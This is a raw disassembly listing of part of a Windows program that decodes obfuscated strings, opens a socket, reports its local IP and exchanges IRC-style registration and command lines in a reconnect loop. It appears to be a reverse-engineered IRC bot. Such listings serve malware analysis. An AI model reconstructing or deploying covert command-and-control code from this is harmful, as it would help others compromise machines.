		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		nop
		call	near ptr 27E0CD4h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 284020Fh
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		nop
		call	near ptr 284020Fh
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr byte_5FC011
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		nop
		call	near ptr 27E0CD4h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
